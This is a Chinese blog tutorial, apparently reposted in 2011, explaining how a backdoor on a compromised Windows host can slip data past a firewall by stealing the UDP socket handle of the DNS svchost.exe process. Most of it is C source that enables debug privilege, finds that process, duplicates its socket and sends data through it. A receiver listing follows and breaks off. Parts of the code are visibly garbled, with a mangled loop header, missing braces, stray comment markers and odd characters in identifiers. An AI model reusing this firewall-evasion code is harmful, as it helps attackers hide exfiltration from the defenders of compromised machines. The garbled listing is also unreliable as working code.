穿透防火墙的数据传输技术

发布时间：2011-06-26 04:41:24作者：知识屋

背景：

在目标主机安放后门，需要将数据传输出去，同时数据很重要，动作不能太大。其他情况“严重”不推荐使用该技术(后面我会讲到为什么)。

针对目前防火墙的一些情况，如果自己的进程开一个端口(甚至是新建套接字)肯定被拦。相反，有一点我们也很清楚：被防火墙验证的进程在传送数据时永远不会被拦。所以，我的思路很简单：将其他进程中允许数据传输的套接字句柄拿为已用。

过程如下：

1. 找出目标进程

2. 找出SOCKET句柄

2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用

3. 用转换后的SOCKET进行数据传输
上面的过程写的很简单，但是实际实现起来还是存在一些问题(后面再做讨论)，而且从上面的实现方法也可以看出一些不爽的地方：在目标进程的SOCKET不能是TCP，因为TCP的句柄已经跟外面建立了连接，所以只能是UDP。针对不同系统不同进程我们很难定位一个稳定的进程SOCKET。

看到上面这些，你有点丧气了对不对，哈哈。再想一想，其实我们有一条真正的通罗马的“黄金大道”。

我们知道只要一台计算机连上了网络，那么有一种数据传输是肯定不会被拦截的，那就是DNS。你能想像域名解析数据都被拦了造成的结果吗？嘿嘿，既然这个是永远不会被拦的，而且它又是UDP传输，我们就拿他开刀。

下面是通过直接控制DNS进程(其实也就是svchost.exe，不过对应用户名是NETWORK SERVICE)进行数据传输的例子。编程中出现了很多问题，比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE)，在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请细看注释部分。

/*++

Made By ZwelL

zwell@sohu.com

2005.4.12

--*/

#include

#pragma comment(lib, "ws2_32")

#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG ProcessId;

UCHAR ObjectTypeNumber;

UCHAR Flags;

USHORT Handle;

PVOID Object;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )

{

BOOL ret = FALSE;

char NTDLL_DLL[] = "ntdll.dll";

HMODULE ntdll_dll = NULL;

if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )

{

printf( "GetModuleHandle() failed");

return( FALSE );

}

if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress

( ntdll_dll, "ZwQuerySystemInformation" ) ) )

{

goto LocateNtdllEntry_exit;

}

ret = TRUE;

LocateNtdllEntry_exit:

if ( FALSE == ret )

{

printf( "GetProcAddress() failed");

}

ntdll_dll = NULL;

return( ret );

}

/*++

This routine is used to get a process's username from it's SID

--*/

BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)

{

// sanity checks and default value

if (pUserSid == NULL)

return false;

strcpy(szUserName, "?");

SID_NAME_USE snu;

TCHAR szUser[_MAX_PATH];

DWORD chUser = _MAX_PATH;

PDWORD pcchUser = &chUser;

TCHAR szDomain[_MAX_PATH];

DWORD chDomain = _MAX_PATH;

PDWORD pcchDomain = &chDomain;

// Retrieve user name and dｏmain name based on user's SID.

if (

::LookupAccountSid(

NULL,

pUserSid,

szUser,

pcchUser,

szDｏmain,

pcchDｏmain,

&snu

)

{

wsprintf(szUserName, "%s", szUser);

}

else

{

return false;

}

return true;

}

/*++

This routine is used to get the DNS process's Id

Here, I use WTSEnumerateProcesses to get process user Sid,

and then get the process user name. Beacause as it's a "NETWORK SERVICE",

we cann't use OpenProcessToken to catch the DNS process's token information,

even if we has the privilege in catching the SYSTEM's.

--*/

DWORD GetDNSProcessId()

{

PWTS_PROCESS_INFO pProcessInfo = NULL;

DWORD ProcessCount = 0;

char szUserName[255];

DWORD Id = -1;

if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))

{

// dump each process description

for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)

{

if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )

{

GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);

if( strcmp(szUserName, "NETWORK SERVICE") == 0)

{

Id = pProcessInfo[CurrentProcess].ProcessId;

break;

}

WTSFreeMemory(pProcessInfo);

}

return Id;

}

/*++

This doesn't work as we know, sign...

but you can use the routine for other useing...

--*/

BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)

{

HANDLE hProcess = NULL,

hAccessToken = NULL;

TCHAR InfoBuffer[1000], szDｏmainName[200];

PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;

DWORD dwInfoBufferSize,dwAccountSize = 200, dwDｏmainSize = 200;

SID_NAME_USE snu;

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);

if(hProcess == NULL)

{

printf("OpenProcess wrong");

CloseHandle(hProcess);

return false;

}

if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))

{

printf("OpenProcessToken wrong:%08x", GetLastError());

return false;

}

GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,

1000, &dwInfoBufferSize);

LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,

&dwAccountSize,szDｏmainName, &dwDｏmainSize, &snu);

if(hProcess)

CloseHandle(hProcess);

if(hAccessToken)

CloseHandle(hAccessToken);

return true;

}*/

/*++

Now, it is the most important stuff... ^_^

--*/

SOCKET GetSocketFromId (DWORD PID)

{

NTSTATUS status;

PVOID buf = NULL;

ULONG size = 1;

ULONG NumOfHandle = 0;

ULONG i;

PSYSTEM_HANDLE_INFORMATION h_info = NULL;

HANDLE sock = NULL;

DWORD n;

buf=malloc(0x1000);

if(buf == NULL)

{

printf("malloc wrongn");

return NULL;

}

status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );

if(STATUS_INFO_LENGTH_MISMATCH == status)

{

free(buf);

buf=malloc(n);

if(buf == NULL)

{

printf("malloc wrongn");

return NULL;

}

status = ZwQuerySystemInformation( 0x10, buf, n, NULL);

}

else

{

printf("ZwQuerySystemInformation wrongn");

return NULL;

}

NumOfHandle = *(ULONG*)buf;

h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

for(i = 0; i<="" p="">

{

try

{

if( ( h_info.ProcessId == PID ) && ( h_info.ObjectTypeNumber == 0x1c )

&& (h_info.Handle!=0x2c) // I don't know why if the Handle equal to 0x2c,

in my test, it stops at getsockname()

// So I jump over this situation...

// May be it's different in your system,

) //wind2000 is 0x1a

{

//printf("Handle:0x%x Type:%08xn",h_info.Handle, h_info.ObjectTypeNumber);

if( 0 == DuplicateHandle(

OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),

(HANDLE)h_info.Handle,

GetCurrentProcess(),

&sock,

STANDARD_RIGHTS_REQUIRED,

true,

DUPLICATE_SAME_ACCESS)

)

{

printf("DuplicateHandle wrong:%8x", GetLastError());

continue;

}

//printf("DuplicateHandle okn");

sockaddr_in name = {0};

name.sin_family = AF_INET;

int namelen = sizeof(sockaddr_in);

getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );

//printf("PORT=%5dn", ntohs( name.sin_port ));

if(ntohs(name.sin_port)>0) // if port > 0, then we can use it

break;

}

catch(...)

{

continue;

}

if ( buf != NULL )

{

free( buf );

}

return (SOCKET)sock;

}

/*++

This is not required...

--*/

BOOL EnablePrivilege (PCSTR name)

{

HANDLE hToken;

BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };

LookupPrivilegeValue (

name,

&priv.Privileges[0].Luid

);

priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

OpenProcessToken(

GetCurrentProcess (),

TOKEN_ADJUST_PRIVILEGES,

&hToken

);

AdjustTokenPrivileges (

hToken,

FALSE,

&priv,

sizeof priv,

);

rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);

return rv;

}

void main()

{

WSADATA wsaData;

char testbuf[255];

SOCKET sock;

sockaddr_in RecvAddr;

int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);

if (iResult != NO_ERROR)

printf("Error at WSAStartup()n");

if(!LocateNtdllEntry())

return;

if(!EnablePr
ivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrongn"); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrongn"); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%dn", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^n"); } getchar(); //WSACleanup(); return; } [Copy to clipboard]

很早以前我就有这个想法了，只是一直没有去实现。在上面的代码中，因为要找出DNS进程句柄，而svchost.exe又有多个，所以以用户名来进行判断，本来是用OpenProcessToken，但是怎么也不行。所以换个方法，用到了wtsapi32库函数。

再用下面的代码测试：

CODE:

/*++

UdpReceiver

--*/

#include

#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()

{

WSADATA wsaData;